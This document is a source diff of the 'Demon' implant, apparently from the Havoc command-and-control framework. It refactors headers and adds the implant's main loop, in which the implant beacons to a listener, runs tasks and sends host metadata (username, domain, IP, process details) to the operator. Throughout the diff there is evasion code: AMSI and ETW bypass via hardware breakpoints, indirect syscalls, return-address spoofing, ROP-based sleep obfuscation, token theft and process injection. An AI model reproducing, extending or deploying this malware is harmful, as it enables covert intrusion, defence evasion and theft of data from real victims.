Buffer = ParserGetBytes( &Parser, &Length );
|
||||
Instance.Config.Transport.Name = Instance.Win32.LocalAlloc( LPTR, Length );
|
||||
MemCopy( Instance.Config.Transport.Name, Buffer, Length );
|
||||
|
||||
PRINTF( "[CONFIG] PipeName: %ls\n", Instance.Config.Transport.Name );
|
||||
|
||||
Instance.Config.Transport.KillDate = ParserGetInt64( &Parser );
|
||||
PRINTF( "KillDate: %d\n", Instance.Config.Transport.KillDate )
|
||||
// check if the kill date has already passed
|
||||
if ( Instance.Config.Transport.KillDate && GetSystemFileTime() >= Instance.Config.Transport.KillDate )
|
||||
{
|
||||
// refuse to run
|
||||
// TODO: exit process?
|
||||
Instance.Win32.RtlExitUserThread(0);
|
||||
}
|
||||
Instance.Config.Transport.WorkingHours = ParserGetInt32( &Parser );
|
||||
#endif
|
||||
|
||||
Instance.Config.Implant.ThreadStartAddr = Instance.Win32.LdrLoadDll + 0x12; /* TODO: default -> change that or make it optional via builder or profile */
|
||||
Instance.Config.Inject.Technique = INJECTION_TECHNIQUE_SYSCALL;
|
||||
|
||||
ParserDestroy( &Parser );
|
||||
}
|
||||
@@ -7,26 +7,26 @@
|
||||
#include <aclapi.h>
|
||||
#include <windns.h>
|
||||
|
||||
#include <Common/Native.h>
|
||||
#include <Common/Macros.h>
|
||||
#include <Common/Clr.h>
|
||||
#include <Common/Defines.h>
|
||||
#include <common/Native.h>
|
||||
#include <common/Macros.h>
|
||||
#include <common/Clr.h>
|
||||
#include <common/Defines.h>
|
||||
|
||||
#include <Core/Win32.h>
|
||||
#include <Core/Token.h>
|
||||
#include <Core/Pivot.h>
|
||||
#include <Core/Spoof.h>
|
||||
#include <Core/Jobs.h>
|
||||
#include <Core/Package.h>
|
||||
#include <Core/Download.h>
|
||||
#include <Core/Transport.h>
|
||||
#include <Core/Socket.h>
|
||||
#include <Core/Kerberos.h>
|
||||
#include <Core/Syscalls.h>
|
||||
#include <Core/SysNative.h>
|
||||
#include <Core/HwBpEngine.h>
|
||||
|
||||
#include <Loader/CoffeeLdr.h>
|
||||
#include <core/Win32.h>
|
||||
#include <core/Token.h>
|
||||
#include <core/Pivot.h>
|
||||
#include <core/Spoof.h>
|
||||
#include <core/Jobs.h>
|
||||
#include <core/Package.h>
|
||||
#include <core/Download.h>
|
||||
#include <core/Transport.h>
|
||||
#include <core/Socket.h>
|
||||
#include <core/Kerberos.h>
|
||||
#include <core/Syscalls.h>
|
||||
#include <core/SysNative.h>
|
||||
#include <core/HwBpEngine.h>
|
||||
#include <core/CoffeeLdr.h>
|
||||
#include <core/Memory.h>
|
||||
|
||||
#ifdef DEBUG
|
||||
#include <stdio.h>
|
||||
@@ -88,12 +88,13 @@ typedef struct
|
||||
DWORD Jitter;
|
||||
|
||||
struct {
|
||||
UINT64 KillDate;
|
||||
UINT32 WorkingHours;
|
||||
|
||||
#ifdef TRANSPORT_HTTP
|
||||
PHOST_DATA Host; /* current using host */
|
||||
PHOST_DATA Hosts; /* host linked list */
|
||||
UINT32 NumHosts;
|
||||
UINT64 KillDate;
|
||||
UINT32 WorkingHours;
|
||||
LPWSTR Method; /* TODO: use WCHAR[4] instead of LPWSTR. */
|
||||
SHORT HostRotation;
|
||||
DWORD HostIndex;
|
||||
@@ -114,13 +115,12 @@ typedef struct
|
||||
#ifdef TRANSPORT_SMB
|
||||
LPSTR Name; /* TODO: change type to BUFFER */
|
||||
HANDLE Handle;
|
||||
UINT64 KillDate;
|
||||
UINT32 WorkingHours;
|
||||
#endif
|
||||
} Transport;
|
||||
|
||||
struct _CONFIG {
|
||||
DWORD SleepMaskTechnique;
|
||||
ULONG SleepMaskTechnique;
|
||||
ULONG SleepJmpBypass;
|
||||
BOOL StackSpoof;
|
||||
BOOL SysIndirect;
|
||||
BYTE ProxyLoading;
|
||||
@@ -129,7 +129,7 @@ typedef struct
|
||||
PVOID ThreadStartAddr;
|
||||
BOOL CoffeeThreaded;
|
||||
BOOL CoffeeVeh;
|
||||
DWORD DownloadChunkSize;
|
||||
ULONG DownloadChunkSize;
|
||||
} Implant;
|
||||
|
||||
struct {
|
||||
@@ -554,9 +554,9 @@ typedef struct
|
||||
PCOFFEE_KEY_VALUE CoffeKeyValueStore;
|
||||
PHWBP_ENGINE HwBpEngine;
|
||||
|
||||
} INSTANCE;
|
||||
} INSTANCE, *PINSTANCE;
|
||||
|
||||
extern INSTANCE Instance;
|
||||
extern PINSTANCE Instance;
|
||||
|
||||
VOID DemonMain( PVOID ModuleInst, PKAYN_ARGS KArgs );
|
||||
VOID DemonRoutine( );
|
||||
@@ -3,7 +3,7 @@
|
||||
|
||||
#include <windows.h>
|
||||
|
||||
#include <Core/Win32.h>
|
||||
#include <core/Win32.h>
|
||||
|
||||
extern GUID xCLSID_CLRMetaHost;
|
||||
extern GUID xIID_ICLRMetaHost;
|
||||
@@ -28,6 +28,9 @@
|
||||
#define WIN_VERSION_10 10
|
||||
#define WIN_VERSION_2016_X 11
|
||||
|
||||
#define LDR_GADGET_MODULE_SIZE ( 0x1000 * 0x1000 )
|
||||
#define LDR_GADGET_HEADER_SIZE ( 0x1000 )
|
||||
|
||||
#define PROXYLOAD_NONE 0
|
||||
#define PROXYLOAD_RTLREGISTERWAIT 1
|
||||
#define PROXYLOAD_RTLCREATETIMER 2
|
||||
@@ -12,20 +12,18 @@
|
||||
#define NT_SUCCESS(Status) ( ( ( NTSTATUS ) ( Status ) ) >= 0 )
|
||||
#define NtCurrentProcess() ( ( HANDLE ) ( LONG_PTR ) - 1 )
|
||||
#define NtCurrentThread() ( ( HANDLE ) ( LONG_PTR ) - 2 )
|
||||
#define NtGetLastError() Instance.Teb->LastErrorValue
|
||||
#define NtSetLastError(x) Instance.Teb->LastErrorValue = x
|
||||
#define NtGetLastError() Instance->Teb->LastErrorValue
|
||||
#define NtSetLastError(x) Instance->Teb->LastErrorValue = x
|
||||
|
||||
/* Heap allocation functions */
|
||||
#define NtProcessHeap() Instance.Teb->ProcessEnvironmentBlock->ProcessHeap
|
||||
#define NtHeapAlloc( x ) Instance.Win32.RtlAllocateHeap( NtProcessHeap(), HEAP_ZERO_MEMORY, x );
|
||||
#define NtHeapFree( x ) Instance.Win32.RtlFreeHeap( NtProcessHeap(), 0, x );
|
||||
#define NtProcessHeap() Instance->Teb->ProcessEnvironmentBlock->ProcessHeap
|
||||
#define DLLEXPORT __declspec( dllexport )
|
||||
|
||||
#define RVA( TYPE, DLLBASE, RVA ) ( TYPE ) ( ( PBYTE ) DLLBASE + RVA )
|
||||
#define DATA_FREE( d, l ) \
|
||||
if ( d ) { \
|
||||
MemSet( d, 0, l ); \
|
||||
Instance.Win32.LocalFree( d ); \
|
||||
Instance->Win32.LocalFree( d ); \
|
||||
d = NULL; \
|
||||
}
|
||||
|
||||
File diff suppressed because it is too large
Load Diff
@@ -1,8 +1,7 @@
|
||||
#ifndef DEMON_COMMAND_H
|
||||
#define DEMON_COMMAND_H
|
||||
|
||||
#include <Core/Parser.h>
|
||||
|
||||
#include <core/Parser.h>
|
||||
|
||||
/* Commands */
|
||||
#define DEMON_COMMAND_CHECKIN 100
|
||||
@@ -1,4 +1,4 @@
|
||||
#include <Common/Clr.h>
|
||||
#include <common/Clr.h>
|
||||
|
||||
BOOL DotnetExecute( BUFFER Assembly, BUFFER Arguments );
|
||||
VOID DotnetClose();
|
||||
+2
-2
@@ -52,11 +52,11 @@
|
||||
#endif
|
||||
|
||||
VOID HwBpExAmsiScanBuffer(
|
||||
IN OUT PEXCEPTION_POINTERS Exception
|
||||
_Inout_ PEXCEPTION_POINTERS Exception
|
||||
);
|
||||
|
||||
VOID HwBpExNtTraceEvent(
|
||||
IN OUT PEXCEPTION_POINTERS Exception
|
||||
_Inout_ PEXCEPTION_POINTERS Exception
|
||||
);
|
||||
|
||||
#endif //DEMON_HWBPEXCEPTIONS_H
|
||||
@@ -1,7 +1,7 @@
|
||||
#ifndef DEMON_MEMORY_H
|
||||
#define DEMON_MEMORY_H
|
||||
|
||||
#include <Common/Native.h>
|
||||
#include <common/Native.h>
|
||||
|
||||
typedef enum _DX_MEMORY
|
||||
{
|
||||
@@ -10,14 +10,27 @@ typedef enum _DX_MEMORY
|
||||
DX_MEM_SYSCALL = 2,
|
||||
} DX_MEMORY;
|
||||
|
||||
PVOID MemoryAlloc(
|
||||
PVOID MmHeapAlloc(
|
||||
_In_ ULONG Length
|
||||
);
|
||||
|
||||
PVOID MmHeapReAlloc(
|
||||
_In_ PVOID Memory,
|
||||
_In_ ULONG Length
|
||||
);
|
||||
|
||||
BOOL MmHeapFree(
|
||||
_In_ PVOID Memory
|
||||
);
|
||||
|
||||
PVOID MmVirtualAlloc(
|
||||
IN DX_MEMORY Method,
|
||||
IN HANDLE Process,
|
||||
IN SIZE_T Size,
|
||||
IN DWORD Protect
|
||||
);
|
||||
|
||||
BOOL MemoryProtect(
|
||||
BOOL MmVirtualProtect(
|
||||
IN DX_MEMORY Method,
|
||||
IN HANDLE Process,
|
||||
IN PVOID Memory,
|
||||
@@ -25,18 +38,25 @@ BOOL MemoryProtect(
|
||||
IN DWORD Protect
|
||||
);
|
||||
|
||||
BOOL MemoryWrite(
|
||||
BOOL MmVirtualWrite(
|
||||
IN HANDLE Process,
|
||||
OUT PVOID Memory,
|
||||
IN PVOID Buffer,
|
||||
IN SIZE_T Size
|
||||
);
|
||||
|
||||
BOOL MemoryFree(
|
||||
BOOL MmVirtualFree(
|
||||
IN HANDLE Process,
|
||||
OUT PVOID Memory
|
||||
);
|
||||
|
||||
PVOID MmGadgetFind(
|
||||
_In_ PVOID Memory,
|
||||
_In_ SIZE_T Length,
|
||||
_In_ PVOID PatternBuffer,
|
||||
_In_ SIZE_T PatternLength
|
||||
);
|
||||
|
||||
BOOL FreeReflectiveLoader(
|
||||
IN PVOID BaseAddress
|
||||
);
|
||||
@@ -1,7 +1,7 @@
|
||||
#ifndef CALLBACK_PACKAGE_H
|
||||
#define CALLBACK_PACKAGE_H
|
||||
|
||||
#include <Core/Command.h>
|
||||
#include <core/Command.h>
|
||||
|
||||
#define DEMON_MAX_REQUEST_LENGTH 0x300000 // 3 MiB
|
||||
|
||||
@@ -38,7 +38,7 @@ VOID PackageAddInt64(
|
||||
);
|
||||
|
||||
VOID PackageAddBool(
|
||||
IN OUT PPACKAGE Package,
|
||||
_Inout_ PPACKAGE Package,
|
||||
IN BOOLEAN Data
|
||||
);
|
||||
|
||||
@@ -100,6 +100,6 @@ VOID PackageTransmitError(
|
||||
);
|
||||
|
||||
#define PACKAGE_ERROR_WIN32 PackageTransmitError( CALLBACK_ERROR_WIN32, NtGetLastError() );
|
||||
#define PACKAGE_ERROR_NTSTATUS( s ) PackageTransmitError( CALLBACK_ERROR_WIN32, Instance.Win32.RtlNtStatusToDosError( s ) );
|
||||
#define PACKAGE_ERROR_NTSTATUS( s ) PackageTransmitError( CALLBACK_ERROR_WIN32, Instance->Win32.RtlNtStatusToDosError( s ) );
|
||||
|
||||
#endif
|
||||
@@ -0,0 +1,41 @@
|
||||
|
||||
#ifndef DEMON_SLEEPOBF_H
|
||||
#define DEMON_SLEEPOBF_H
|
||||
|
||||
#include <windows.h>
|
||||
|
||||
#define SLEEPOBF_NO_OBF 0x0
|
||||
#define SLEEPOBF_EKKO 0x1
|
||||
#define SLEEPOBF_ZILEAN 0x2
|
||||
#define SLEEPOBF_FOLIAGE 0x3
|
||||
|
||||
#define SLEEPOBF_BYPASS_NONE 0
|
||||
#define SLEEPOBF_BYPASS_JMPRAX 0x1
|
||||
#define SLEEPOBF_BYPASS_JMPRBX 0x2
|
||||
|
||||
#define OBF_JMP( i, p ) \
|
||||
if ( JmpBypass == SLEEPOBF_BYPASS_JMPRAX ) { \
|
||||
Rop[ i ].Rax = U_PTR( p ); \
|
||||
} if ( JmpBypass == SLEEPOBF_BYPASS_JMPRBX ) { \
|
||||
Rop[ i ].Rbx = U_PTR( & p ); \
|
||||
} else { \
|
||||
Rop[ i ].Rip = U_PTR( p ); \
|
||||
}
|
||||
|
||||
typedef struct
|
||||
{
|
||||
DWORD Length;
|
||||
DWORD MaximumLength;
|
||||
PVOID Buffer;
|
||||
} USTRING;
|
||||
|
||||
typedef struct _SLEEP_PARAM
|
||||
{
|
||||
UINT32 TimeOut;
|
||||
PVOID Master;
|
||||
PVOID Slave;
|
||||
} SLEEP_PARAM, *PSLEEP_PARAM;
|
||||
|
||||
VOID SleepObf( );
|
||||
|
||||
#endif
|
||||
@@ -9,9 +9,9 @@
|
||||
|
||||
typedef struct
|
||||
{
|
||||
const PVOID trampoline;
|
||||
PVOID function;
|
||||
PVOID rbx;
|
||||
PVOID Trampoline;
|
||||
PVOID Function;
|
||||
PVOID Rbx;
|
||||
} PRM, *PPRM;
|
||||
|
||||
static ULONG_PTR Spoof();
|
||||
@@ -30,17 +30,17 @@ static ULONG_PTR Spoof();
|
||||
#define SpoofFunc(...) SPOOF_MACRO_CHOOSER(__VA_ARGS__)(__VA_ARGS__)
|
||||
|
||||
PVOID SpoofRetAddr(
|
||||
IN PVOID Module,
|
||||
IN ULONG Size,
|
||||
IN HANDLE Function,
|
||||
IN OUT PVOID a,
|
||||
IN OUT PVOID b,
|
||||
IN OUT PVOID c,
|
||||
IN OUT PVOID d,
|
||||
IN OUT PVOID e,
|
||||
IN OUT PVOID f,
|
||||
IN OUT PVOID g,
|
||||
IN OUT PVOID h
|
||||
_In_ PVOID Module,
|
||||
_In_ ULONG Size,
|
||||
_In_ HANDLE Function,
|
||||
_Inout_ PVOID a,
|
||||
_Inout_ PVOID b,
|
||||
_Inout_ PVOID c,
|
||||
_Inout_ PVOID d,
|
||||
_Inout_ PVOID e,
|
||||
_Inout_ PVOID f,
|
||||
_Inout_ PVOID g,
|
||||
_Inout_ PVOID h
|
||||
);
|
||||
|
||||
#endif
|
||||
@@ -1,8 +1,8 @@
|
||||
#ifndef DEMON_SYSNATIVE_H
|
||||
#define DEMON_SYSNATIVE_H
|
||||
|
||||
#include <Common/Native.h>
|
||||
#include <Core/Spoof.h>
|
||||
#include <common/Native.h>
|
||||
#include <core/Spoof.h>
|
||||
|
||||
/* define the OPT param option */
|
||||
#ifndef OPT
|
||||
@@ -10,13 +10,13 @@
|
||||
#endif
|
||||
|
||||
#define SYSCALL_INVOKE( SYS_NAME, ... ) \
|
||||
if ( Instance.Config.Implant.SysIndirect && Instance.Syscall.SysAddress && Instance.Syscall.SYS_NAME ) { \
|
||||
SysConfig.Ssn = Instance.Syscall.SYS_NAME; \
|
||||
SysConfig.Adr = Instance.Syscall.SysAddress; \
|
||||
if ( Instance->Config.Implant.SysIndirect && Instance->Syscall.SysAddress && Instance->Syscall.SYS_NAME ) { \
|
||||
SysConfig.Ssn = Instance->Syscall.SYS_NAME; \
|
||||
SysConfig.Adr = Instance->Syscall.SysAddress; \
|
||||
SysSetConfig( &SysConfig ); \
|
||||
NtStatus = SysInvoke( __VA_ARGS__ ); \
|
||||
} else { \
|
||||
NtStatus = Instance.Win32.SYS_NAME( __VA_ARGS__ ); \
|
||||
NtStatus = Instance->Win32.SYS_NAME( __VA_ARGS__ ); \
|
||||
} \
|
||||
PRINTF( "%s( ... ) = %08x\n", #SYS_NAME, NtStatus )
|
||||
|
||||
@@ -3,7 +3,7 @@
|
||||
#define DEMON_SYSCALLS_H
|
||||
|
||||
#include <windows.h>
|
||||
#include <Common/Native.h>
|
||||
#include <common/Native.h>
|
||||
|
||||
/* Syscall functions */
|
||||
#define SYS_ASM_RET 0xC3
|
||||
@@ -19,14 +19,14 @@
|
||||
#endif
|
||||
|
||||
#define SYS_EXTRACT( NtName ) \
|
||||
if ( Instance.Win32.NtName ) { \
|
||||
if ( Instance->Win32.NtName ) { \
|
||||
SysExtract( \
|
||||
Instance.Win32.NtName, \
|
||||
Instance->Win32.NtName, \
|
||||
TRUE, \
|
||||
&Instance.Syscall.NtName, \
|
||||
&Instance->Syscall.NtName, \
|
||||
NULL \
|
||||
); \
|
||||
PRINTF( "Extracted \"%s\": [Ssn: %x] Ptr:[%p]\n", #NtName, Instance.Syscall.NtName, Instance.Win32.NtName ) \
|
||||
PRINTF( "Extracted \"%s\": [Ssn: %x] Ptr:[%p]\n", #NtName, Instance->Syscall.NtName, Instance->Win32.NtName ) \
|
||||
}
|
||||
|
||||
typedef struct _SYS_CONFIG {
|
||||
@@ -55,7 +55,7 @@ VOID SysSetConfig(
|
||||
);
|
||||
|
||||
NTSTATUS SysInvoke(
|
||||
IN OUT /* Args... */
|
||||
_Inout_ /* Args... */
|
||||
);
|
||||
|
||||
BOOL IsWoW64();
|
||||
@@ -1,8 +1,8 @@
|
||||
#ifndef DEMON_THREAD_H
|
||||
#define DEMON_THREAD_H
|
||||
|
||||
#include <Common/Native.h>
|
||||
#include <Core/Win32.h>
|
||||
#include <common/Native.h>
|
||||
#include <core/Win32.h>
|
||||
|
||||
/* thread execution methods */
|
||||
#define THREAD_METHOD_DEFAULT 0
|
||||
@@ -2,7 +2,7 @@
|
||||
#define DEMON_TOKEN_H
|
||||
|
||||
#include <windows.h>
|
||||
#include <Core/Win32.h>
|
||||
#include <core/Win32.h>
|
||||
|
||||
#define TOKEN_TYPE_STOLEN 0x1
|
||||
#define TOKEN_TYPE_MAKE_NETWORK 0x2
|
||||
@@ -165,7 +165,8 @@ HANDLE TokenSteal(
|
||||
HANDLE TokenMake(
|
||||
IN LPWSTR User,
|
||||
IN LPWSTR Password,
|
||||
IN LPWSTR Domain
|
||||
IN LPWSTR Domain,
|
||||
IN DWORD LogonType
|
||||
);
|
||||
|
||||
PTOKEN_LIST_DATA TokenGet(
|
||||
@@ -1,9 +1,9 @@
|
||||
#ifndef DEMON_INTERNET_H
|
||||
#define DEMON_INTERNET_H
|
||||
|
||||
#include <Core/Package.h>
|
||||
#include <Core/TransportHttp.h>
|
||||
#include <Core/TransportSmb.h>
|
||||
#include <core/Package.h>
|
||||
#include <core/TransportHttp.h>
|
||||
#include <core/TransportSmb.h>
|
||||
|
||||
#define PIPE_BUFFER_MAX 0x10000
|
||||
|
||||
+7
-12
@@ -1,7 +1,7 @@
|
||||
#ifndef DEMON_TRANSPORTHTTP_H
|
||||
#define DEMON_TRANSPORTHTTP_H
|
||||
|
||||
#include <Core/Win32.h>
|
||||
#include <core/Win32.h>
|
||||
|
||||
#include <windows.h>
|
||||
#include <winhttp.h>
|
||||
@@ -10,6 +10,7 @@
|
||||
|
||||
#define TRANSPORT_HTTP_ROTATION_ROUND_ROBIN 0
|
||||
#define TRANSPORT_HTTP_ROTATION_RANDOM 1
|
||||
#define ERROR_INTERNET_CANNOT_CONNECT 12029
|
||||
|
||||
typedef struct _HOST_DATA
|
||||
{
|
||||
@@ -66,19 +67,13 @@ PHOST_DATA HostRandom();
|
||||
*/
|
||||
BOOL HostCheckup();
|
||||
|
||||
/*!
|
||||
* Query the Http Status code from the request response.
|
||||
* @param hRequest
|
||||
* @return Http status code
|
||||
*/
|
||||
|
||||
DWORD HttpQueryStatus( HANDLE hRequest );
|
||||
|
||||
/*!
|
||||
* Query the Http Status code from the request response.
|
||||
* @param hRequest
|
||||
* @return Http status code
|
||||
*/
|
||||
BOOL HttpSend( PBUFFER Send, PBUFFER Response );
|
||||
BOOL HttpSend(
|
||||
_In_ PBUFFER Send,
|
||||
_Out_opt_ PBUFFER Resp
|
||||
);
|
||||
|
||||
#endif
|
||||
|
||||
+1
-1
@@ -1,7 +1,7 @@
|
||||
#ifndef DEMON_TRANSPORTSMB_H
|
||||
#define DEMON_TRANSPORTSMB_H
|
||||
|
||||
#include <Core/Win32.h>
|
||||
#include <core/Win32.h>
|
||||
|
||||
#ifdef TRANSPORT_SMB
|
||||
|
||||
@@ -7,10 +7,10 @@
|
||||
#include <shellapi.h>
|
||||
#include <winhttp.h>
|
||||
|
||||
#include <Common/Macros.h>
|
||||
#include <Common/Native.h>
|
||||
#include <common/Macros.h>
|
||||
#include <common/Native.h>
|
||||
|
||||
#include <Core/Syscalls.h>
|
||||
#include <core/Syscalls.h>
|
||||
|
||||
#include <iphlpapi.h>
|
||||
#include <lm.h>
|
||||
@@ -245,7 +245,7 @@ VOID SharedSleep(
|
||||
);
|
||||
|
||||
VOID ShuffleArray(
|
||||
IN OUT PVOID* array,
|
||||
_Inout_ PVOID* array,
|
||||
IN SIZE_T n
|
||||
);
|
||||
|
||||
@@ -4,8 +4,8 @@
|
||||
|
||||
#include <Demon.h>
|
||||
|
||||
#include <Core/Memory.h>
|
||||
#include <Core/Thread.h>
|
||||
#include <core/Memory.h>
|
||||
#include <core/Thread.h>
|
||||
|
||||
#define INJECTION_TECHNIQUE_WIN32 1
|
||||
#define INJECTION_TECHNIQUE_SYSCALL 2
|
||||
+1
-1
@@ -2,7 +2,7 @@
|
||||
#define DEMON_INJECTUTIL_H
|
||||
|
||||
#include <windows.h>
|
||||
#include <Inject/Inject.h>
|
||||
#include <inject/Inject.h>
|
||||
|
||||
#define DEREF_32( name )*(DWORD *)(name)
|
||||
#define DEREF_16( name )*(WORD *)(name)
|
||||
@@ -0,0 +1,790 @@
|
||||
#include <Demon.h>
|
||||
|
||||
/* Import Common Headers */
|
||||
#include <common/Defines.h>
|
||||
#include <common/Macros.h>
|
||||
|
||||
/* Import Core Headers */
|
||||
#include <core/Transport.h>
|
||||
#include <core/SleepObf.h>
|
||||
#include <core/Win32.h>
|
||||
#include <core/MiniStd.h>
|
||||
#include <core/SysNative.h>
|
||||
#include <core/Runtime.h>
|
||||
|
||||
/* Import Inject Headers */
|
||||
#include <inject/Inject.h>
|
||||
|
||||
/* Import Inject Headers */
|
||||
#include <core/ObjectApi.h>
|
||||
|
||||
/* Global Variables */
|
||||
SEC_DATA PINSTANCE Instance = { 0 };
|
||||
SEC_DATA BYTE AgentConfig[] = CONFIG_BYTES;
|
||||
|
||||
/*
|
||||
* In DemonMain it should go as followed:
|
||||
*
|
||||
* 1. Initialize pointer, modules and win32 api
|
||||
* 2. Initialize metadata
|
||||
* 3. Parse config
|
||||
* 4. Enter main connecting and tasking routine
|
||||
*
|
||||
*/
|
||||
VOID DemonMain( PVOID ModuleInst, PKAYN_ARGS KArgs )
|
||||
{
|
||||
INSTANCE Inst = { 0 };
|
||||
|
||||
/* "allocate" instance on stack */
|
||||
Instance = & Inst;
|
||||
|
||||
/* Initialize Win32 API, Load Modules and Syscalls stubs (if we specified it) */
|
||||
DemonInit( ModuleInst, KArgs );
|
||||
|
||||
/* Initialize MetaData */
|
||||
DemonMetaData( &Instance->MetaData, TRUE );
|
||||
|
||||
/* Main demon routine */
|
||||
DemonRoutine();
|
||||
}
|
||||
|
||||
/* Main demon routine:
|
||||
*
|
||||
* 1. Connect to listener
|
||||
* 2. Go into tasking routine:
|
||||
* A. Sleep Obfuscation.
|
||||
* B. Request for the task queue
|
||||
* C. Parse Task
|
||||
* D. Execute Task (if it's not DEMON_COMMAND_NO_JOB)
|
||||
* E. Goto C (we do this til there is nothing left)
|
||||
* F. Goto A (we have nothing else to execute then lets sleep and after waking up request for more)
|
||||
* 3. Sleep Obfuscation. After that lets try to connect to the listener again
|
||||
*/
|
||||
_Noreturn
|
||||
VOID DemonRoutine()
|
||||
{
|
||||
/* the main loop */
|
||||
for ( ;; )
|
||||
{
|
||||
/* if we aren't connected then lets connect to our host */
|
||||
if ( ! Instance->Session.Connected )
|
||||
{
|
||||
/* Connect to our listener */
|
||||
if ( TransportInit() )
|
||||
{
|
||||
|
||||
#ifdef TRANSPORT_HTTP
|
||||
/* reset the failure counter since we managed to connect to it. */
|
||||
Instance->Config.Transport.Host->Failures = 0;
|
||||
#endif
|
||||
}
|
||||
}
|
||||
|
||||
if ( Instance->Session.Connected )
|
||||
{
|
||||
/* Enter tasking routine */
|
||||
CommandDispatcher();
|
||||
}
|
||||
|
||||
/* Sleep for a while (with encryption if specified) */
|
||||
SleepObf();
|
||||
}
|
||||
}
|
||||
|
||||
/* Init metadata buffer/package. */
|
||||
VOID DemonMetaData( PPACKAGE* MetaData, BOOL Header )
|
||||
{
|
||||
PVOID Data = NULL;
|
||||
PIP_ADAPTER_INFO Adapter = NULL;
|
||||
OSVERSIONINFOEXW OsVersions = { 0 };
|
||||
SIZE_T Length = 0;
|
||||
DWORD dwLength = 0;
|
||||
|
||||
/* Check we if we want to add the Agent Header + CommandID too */
|
||||
if ( Header )
|
||||
{
|
||||
*MetaData = PackageCreateWithMetaData( DEMON_INITIALIZE );
|
||||
|
||||
/* Do not destroy this package if we fail to connect to the listener. */
|
||||
( *MetaData )->Destroy = FALSE;
|
||||
}
|
||||
|
||||
// create AES Keys/IV
|
||||
if ( Instance->Config.AES.Key == NULL && Instance->Config.AES.IV == NULL )
|
||||
{
|
||||
Instance->Config.AES.Key = Instance->Win32.LocalAlloc( LPTR, 32 );
|
||||
Instance->Config.AES.IV = Instance->Win32.LocalAlloc( LPTR, 16 );
|
||||
|
||||
for ( SHORT i = 0; i < 32; i++ )
|
||||
Instance->Config.AES.Key[ i ] = RandomNumber32();
|
||||
|
||||
for ( SHORT i = 0; i < 16; i++ )
|
||||
Instance->Config.AES.IV[ i ] = RandomNumber32();
|
||||
}
|
||||
|
||||
/*
|
||||
|
||||
Header (if specified):
|
||||
[ SIZE ] 4 bytes
|
||||
[ Magic Value ] 4 bytes
|
||||
[ Agent ID ] 4 bytes
|
||||
[ COMMAND ID ] 4 bytes
|
||||
[ Request ID ] 4 bytes
|
||||
|
||||
MetaData:
|
||||
[ AES KEY ] 32 bytes
|
||||
[ AES IV ] 16 bytes
|
||||
[ Magic Value ] 4 bytes
|
||||
[ Demon ID ] 4 bytes
|
||||
[ Host Name ] size + bytes
|
||||
[ User Name ] size + bytes
|
||||
[ Domain ] size + bytes
|
||||
[ IP Address ] 16 bytes?
|
||||
[ Process Name ] size + bytes
|
||||
[ Process ID ] 4 bytes
|
||||
[ Parent PID ] 4 bytes
|
||||
[ Process Arch ] 4 bytes
|
||||
[ Elevated ] 4 bytes
|
||||
[ Base Address ] 8 bytes
|
||||
[ OS Info ] ( 5 * 4 ) bytes
|
||||
[ OS Arch ] 4 bytes
|
||||
[ SleepDelay ] 4 bytes
|
||||
[ SleepJitter ] 4 bytes
|
||||
[ Killdate ] 8 bytes
|
||||
[ WorkingHours ] 4 bytes
|
||||
..... more
|
||||
[ Optional ] Eg: Pivots, Extra data about the host or network etc.
|
||||
*/
|
||||
|
||||
// Add AES Keys/IV
|
||||
PackageAddPad( *MetaData, ( PCHAR ) Instance->Config.AES.Key, 32 );
|
||||
PackageAddPad( *MetaData, ( PCHAR ) Instance->Config.AES.IV, 16 );
|
||||
|
||||
// Add session id
|
||||
PackageAddInt32( *MetaData, Instance->Session.AgentID );
|
||||
|
||||
// Get Computer name
|
||||
dwLength = 0;
|
||||
if ( ! Instance->Win32.GetComputerNameExA( ComputerNameNetBIOS, NULL, &dwLength ) )
|
||||
{
|
||||
if ( ( Data = Instance->Win32.LocalAlloc( LPTR, dwLength ) ) )
|
||||
{
|
||||
MemSet( Data, 0, dwLength );
|
||||
if ( Instance->Win32.GetComputerNameExA( ComputerNameNetBIOS, Data, &dwLength ) )
|
||||
PackageAddBytes( *MetaData, Data, dwLength );
|
||||
else
|
||||
PackageAddInt32( *MetaData, 0 );
|
||||
DATA_FREE( Data, dwLength );
|
||||
}
|
||||
else
|
||||
PackageAddInt32( *MetaData, 0 );
|
||||
}
|
||||
else
|
||||
PackageAddInt32( *MetaData, 0 );
|
||||
|
||||
// Get Username
|
||||
dwLength = 0;
|
||||
if ( ! Instance->Win32.GetUserNameA( NULL, &dwLength ) )
|
||||
{
|
||||
if ( ( Data = Instance->Win32.LocalAlloc( LPTR, dwLength ) ) )
|
||||
{
|
||||
MemSet( Data, 0, dwLength );
|
||||
if ( Instance->Win32.GetUserNameA( Data, &dwLength ) )
|
||||
PackageAddBytes( *MetaData, Data, dwLength );
|
||||
else
|
||||
PackageAddInt32( *MetaData, 0 );
|
||||
DATA_FREE( Data, dwLength );
|
||||
}
|
||||
else
|
||||
PackageAddInt32( *MetaData, 0 );
|
||||
}
|
||||
else
|
||||
PackageAddInt32( *MetaData, 0 );
|
||||
|
||||
// Get Domain
|
||||
dwLength = 0;
|
||||
if ( ! Instance->Win32.GetComputerNameExA( ComputerNameDnsDomain, NULL, &dwLength ) )
|
||||
{
|
||||
if ( ( Data = Instance->Win32.LocalAlloc( LPTR, dwLength ) ) )
|
||||
{
|
||||
MemSet( Data, 0, dwLength );
|
||||
if ( Instance->Win32.GetComputerNameExA( ComputerNameDnsDomain, Data, &dwLength ) )
|
||||
PackageAddBytes( *MetaData, Data, dwLength );
|
||||
else
|
||||
PackageAddInt32( *MetaData, 0 );
|
||||
DATA_FREE( Data, dwLength );
|
||||
}
|
||||
else
|
||||
PackageAddInt32( *MetaData, 0 );
|
||||
}
|
||||
else
|
||||
PackageAddInt32( *MetaData, 0 );
|
||||
|
||||
// Get internal IP
|
||||
dwLength = 0;
|
||||
if ( Instance->Win32.GetAdaptersInfo( NULL, &dwLength ) )
|
||||
{
|
||||
if ( ( Adapter = Instance->Win32.LocalAlloc( LPTR, dwLength ) ) )
|
||||
{
|
||||
if ( Instance->Win32.GetAdaptersInfo( Adapter, &dwLength ) == NO_ERROR )
|
||||
PackageAddString( *MetaData, Adapter->IpAddressList.IpAddress.String );
|
||||
else
|
||||
PackageAddInt32( *MetaData, 0 );
|
||||
DATA_FREE( Adapter, dwLength );
|
||||
}
|
||||
else
|
||||
PackageAddInt32( *MetaData, 0 );
|
||||
}
|
||||
else
|
||||
PackageAddInt32( *MetaData, 0 );
|
||||
|
||||
// Get Process Path
|
||||
